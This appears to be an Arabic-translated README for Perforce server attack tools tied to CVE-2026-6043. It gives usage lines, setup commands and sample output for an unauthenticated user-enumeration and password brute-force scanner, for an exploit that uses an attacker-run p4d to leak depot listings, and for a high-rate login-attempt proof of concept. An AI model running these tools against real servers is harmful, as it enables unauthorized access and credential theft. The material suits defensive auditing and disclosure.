
أبحاث وأدوات أمان Perforce - CVE-2026-6043
أدوات أبحاث أمان بيرفورس (Helix Core) وقوالب nuclei.
مقالة البحث: https://morganrobertson.net/p4wned/
يرجى قراءة المقالة أعلاه للحصول على التفاصيل الكاملة.
أهداف مصرح بها فقط. استخدمها على خوادمك الخاصة أو بإذن كتابي صريح.
الجمهور المستهدف: مدراء خوادم بيرفورس، مختبرو الاختراق، مهندسو الأمان.
تحديث مايو 2026: تم إصدار بيرفورس 2026.1. هذا الإصدار يأتي بإعدادات افتراضية آمنة! سعيد جدًا برؤية هذا الإصدار لحماية الملكية الفكرية للمطورين. اقرأ المزيد هنا.
ملاحظة: تفحص هذه الأدوات التكوينات الخاطئة الناتجة عن CVE-2026-6043.
| الأداة | تتطلب |
|---|---|
p4wned.py | بايثون 3، ثنائي p4 CLI (انظر أدناه) |
p4ghost.py | بايثون 3، ثنائي p4 CLI، مثيل p4d محلي (انظر الإعداد أدناه) |
p4-auth-hammer | g++، واجهة برمجة تطبيقات C++ لبيرفورس، OpenSSL 1.1.1 (انظر p4-auth-hammer/README.md) |
| أدوات جافاسكريبت | Node.js (بدون تبعيات خارجية) |
| قوالب Nuclei | Nuclei v3+ |
| وحدات Metasploit | Metasploit Framework |
الحصول على ثنائي p4 (مطلوب بواسطة p4wned.py و p4ghost.py):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
تعرض خوادم بيرفورس بروتوكول TCP ثنائي مخصص (المنفذ الافتراضي 1666). تأتي العديد من التثبيتات بإعدادات افتراضية غير آمنة — سرد المستخدمين دون مصادقة، كشف معلومات الخادم، مستودعات بعيدة قابلة للوصول، عدم وجود متطلبات كلمة مرور، وعدم وجود حد لمعدل محاولات تسجيل الدخول. تستغل جميع الأدوات هنا هذه الإعدادات الافتراضية دون الحاجة إلى بيانات اعتماد.
الماسح الرئيسي. يستخدم ثنائي p4 CLI لتعداد المستخدمين، اختبار بيانات الاعتماد، سرد المستودعات، وإنتاج تقرير.
python3 p4wned.py [-brute] [-audit] [-parallel N]
الخيارات:
| العلامة | الوصف |
|---|---|
-brute | تمكين وضع القوة الغاشمة — يختبر كلمات المرور ضد جميع حسابات المستخدمين المكتشفة |
-audit | وضع التدقيق الشامل — يواصل اختبار جميع المستخدمين حتى بعد العثور على ثغرة أمنية |
-parallel N | عدد محاولات كلمة المرور المتوازية (الافتراضي: 1) |
التكوين (قم بتحريره في أعلى السكربت):
| المتغير | الوصف |
|---|---|
INPUT_FILE | قائمة الأهداف (ip:port، سطر واحد لكل هدف) — الافتراضي perforce-servers.txt |
P4_CMD | المسار إلى ثنائي p4 — الافتراضي ./p4 |
TOP_PASSWORDS_FILE | قائمة كلمات المرور للقوة الغاشمة — الافتراضي top-passwords.txt |
KNOWN_CREDS_FILE | أزواج بيانات اعتماد معروفة لمحاولتها أولاً |
REPORT_FILE | مسار تقرير الإخراج |
ما يفعله:
run.users.authorize=0)super في الحسابات المخترقةمخرجات وحدة التحكم:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· يكتشف حسابات المستخدمين، كلمات المرور الفارغة، بيانات الاعتماد الضعيفة، والإعدادات الغبية.
· يؤكد الوصول إلى المستودعات وحسابات المستخدمين "super" القيمة.
· ينتج تقريرًا مرتبًا حتى تتمكن من إصلاح الفوضى قبل وصول المخربين
أهداف مصرح بها فقط، يا أخي. استخدمها على خوادمك الخاصة أو على مسؤوليتك الخاصة.
==============================================================================
=== المعالجة: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] جارٍ اختبار المستخدم 'super' لمشكلات أمنية...
[INFO] المستخدم 'super' غير موجود.
[INFO] قائمة المستخدمين قابلة للوصول: build, designer1, jsmith, lead_prog, svc_build
[INFO] جارٍ اختبار المستخدم 'build' لمشكلات أمنية...
[INFO] جارٍ اختبار المستخدم 'designer1' لمشكلات أمنية...
[INFO] جارٍ اختبار المستخدم 'jsmith' لمشكلات أمنية...
[INFO] جارٍ اختبار المستخدم 'lead_prog' لمشكلات أمنية...
[INFO] جارٍ اختبار المستخدم 'svc_build' لمشكلات أمنية...
[INFO] تمت إضافة بيانات اعتماد جديدة لـ 192.0.2.10:1666: user='svc_build', password='None'
[INFO] جارٍ حفظ بيانات الاعتماد المحدثة بعد العثور على بيانات اعتماد صالحة لـ svc_build على 192.0.2.10:1666
[INFO] تم حفظ التقرير إلى perforce-report-p4wned-1775436520.txt
ملف التقرير (perforce-report-p4wned-*.txt):
تقرير فحص أمان بيرفورس
الخادم: 192.0.2.10:1666 (perforce.example-studio.com)
الحالة: غير آمن
ملاحظة: غير آمن عبر المستخدم 'svc_build' (بدون كلمة مرور)
== المستودعات ==
مستودع depot 2025/11/03 local depot/... 'المستودع الافتراضي'
مستودع assets 2024/08/19 local assets/... 'مستودع الأصول'
== آخر 10 تغييرات ==
التغيير 1047 بتاريخ 2025/11/03 14:22:11 بواسطة lead_prog@DESKTOP-BUILD01
دمج فرع feature/ai-pathfinding
التغيير 1046 بتاريخ 2025/11/03 09:44:38 بواسطة designer1@DESKTOP-ART02
تم تحديث صادرات هيكل الشخصية
== تفاصيل المستودع ==
المستودع: depot
-- الدلائل الجذرية --
//depot/Source
//depot/Content
//depot/Config
هذا المستودع ليس مستودعًا لـ Unreal Engine.
------------------------------------------------------------
تقرير ملخص
الخادم: 192.0.2.10:1666 - غير آمن - ملاحظة: غير آمن عبر المستخدم 'svc_build' (بدون كلمة مرور)
يختبر الوصول غير المصادق إلى المستودعات البعيدة عبر المستخدم المخفي remote. يعمل الاستغلال عن طريق تشغيل مثيل p4d محلي يتحكم به المهاجم — يتصل الخادم الهدف به كجزء من بروتوكول الخادم إلى الخادم، مما يؤدي إلى تسريب قائمة ملفات المستودع.
الإعداد (لمرة واحدة):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# ابدأ p4d عادي (ASCII) على المنفذ 1818 (يُستخدم كخادم المهاجم)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# ابدأ p4d بنمط unicode على منفذ منفصل (1819) للأهداف التي تستخدم unicode
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # تحويل إلى نمط unicode
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# مثال على الاستدعاء باستخدام خوادم المهاجم المحلية أعلاه
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
الوسائط:
| العلامة | الوصف |
|---|---|
input_file | قائمة الأهداف (ip:port، سطر واحد لكل هدف) |
-skipnolicense | تخطى الخوادم التي ترجع Server license: none |
-report FILE | مسار تقرير الإخراج |
-p4cmd PATH | المسار إلى ثنائي p4 (الافتراضي ./p4) |
-unicodeport PORT | منفذ p4d المحلي بنمط unicode لاستخدامه كخادم المهاجم |
-nonunicodeport PORT | منفذ p4d المحلي غير الخاص بـ unicode |
-timeout SECS | مهلة الأمر |
الإصدارات المتأثرة: جميع الإصدارات الأقل من 2025.1 مع security < 4 (الافتراضي هو 0).
إثبات مفهوم يوضح أن p4d لا يحد بشكل فعال من معدل محاولات المصادقة عندما يكون security < 3. يحقق أكثر من 300,000 محاولة تسجيل دخول في الدقيقة ضد حساب واحد باستخدام واجهة برمجة تطبيقات C++ لبيرفورس.
./p4_auth_hammer_poc <server:port> <username> <password_file> [-ticketauth]
البناء (يتطلب واجهة برمجة تطبيقات C++ لبيرفورس و OpenSSL 1.1.1 — انظر p4-auth-hammer/README.md للإعداد الكامل):